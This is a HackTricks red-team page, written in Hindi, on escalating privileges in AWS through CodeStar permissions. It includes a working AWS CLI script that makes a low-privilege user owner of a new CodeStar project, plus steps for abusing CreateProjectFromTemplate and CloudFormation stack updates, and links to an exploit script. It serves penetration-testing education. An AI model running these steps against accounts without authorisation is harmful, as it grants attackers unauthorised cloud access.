AWS - Codestar Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Codestar

आप codestar के बारे में अधिक जानकारी यहाँ पा सकते हैं:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

इन अनुमतियों के साथ आप कोडस्टार IAM भूमिका का दुरुपयोग करके एक क्लाउडफॉर्मेशन टेम्पलेट के माध्यम से विविध क्रियाएं कर सकते हैं। निम्नलिखित पृष्ठ की जाँच करें:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

इस तकनीक का उपयोग codestar:CreateProject करने के लिए किया जाता है ताकि एक codestar परियोजना बनाई जा सके, और codestar:AssociateTeamMember का उपयोग करके एक IAM उपयोगकर्ता को एक नई कोडस्टार परियोजना के मालिक बनाया जा सके, जिससे उन्हें कुछ अतिरिक्त अनुमतियों के साथ एक नई नीति प्राप्त हो।

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

यदि आप पहले से परियोजना के सदस्य हैं तो आप codestar:UpdateTeamMember अनुमति का उपयोग करके अपनी भूमिका को अधिकारी में अपडेट कर सकते हैं बजाय codestar:AssociateTeamMember

संभावित प्रभाव: codestar नीति में उन्नति। आप उस नीति का उदाहरण निम्नलिखित में पा सकते हैं:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. नया परियोजना बनाएं:

  • नई परियोजना की शुरुआत करने के लिए codestar:CreateProjectFromTemplate कार्रवाई का उपयोग करें।

  • सफल बनाने के बाद, cloudformation:UpdateStack के लिए स्वचालित रूप से पहुंच प्रदान की जाती है।

  • यह पहुंच विशेष रूप से CodeStarWorker-<सामान्य परियोजना नाम>-CloudFormation IAM भूमिका से जुड़े एक स्टैक को लक्ष्य बनाती है।

  1. लक्षित स्टैक को अपडेट करें:

  • प्रदत्त CloudFormation अनुमतियों के साथ, निर्दिष्ट स्टैक को अपडेट करने के लिए आगे बढ़ें।

  • स्टैक का नाम सामान्यत: दो पैटर्नों में समान होगा:

  • awscodestar-<सामान्य परियोजना नाम>-infrastructure

  • awscodestar-<सामान्य परियोजना नाम>-lambda

  • यह सटीक नाम चयनित टेम्प्लेट पर निर्भर करता है (उदाहरण उत्पादन स्क्रिप्ट का संदर्भ देखें)।

  1. पहुंच और अनुमतियाँ:

  • अपडेट के बाद, आप स्टैक के साथ जुड़ी CloudFormation IAM भूमिका को सौंपी गई क्षमताएं प्राप्त करते हैं।

  • ध्यान दें: यह स्वतः पूर्ण प्रशासक विशेषाधिकार प्रदान नहीं करता। और अधिक उच्च स्तरीय विशेषाधिकार प्राप्त करने के लिए पर्याप्त रूप से गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है।

अधिक जानकारी के लिए मूल अनुसंधान देखें: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/। आप उत्पादन में उत्पादन करने का उपयोग कर सकते हैं https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

संभावित प्रभाव: cloudformation IAM भूमिका में उन्नति।

Last updated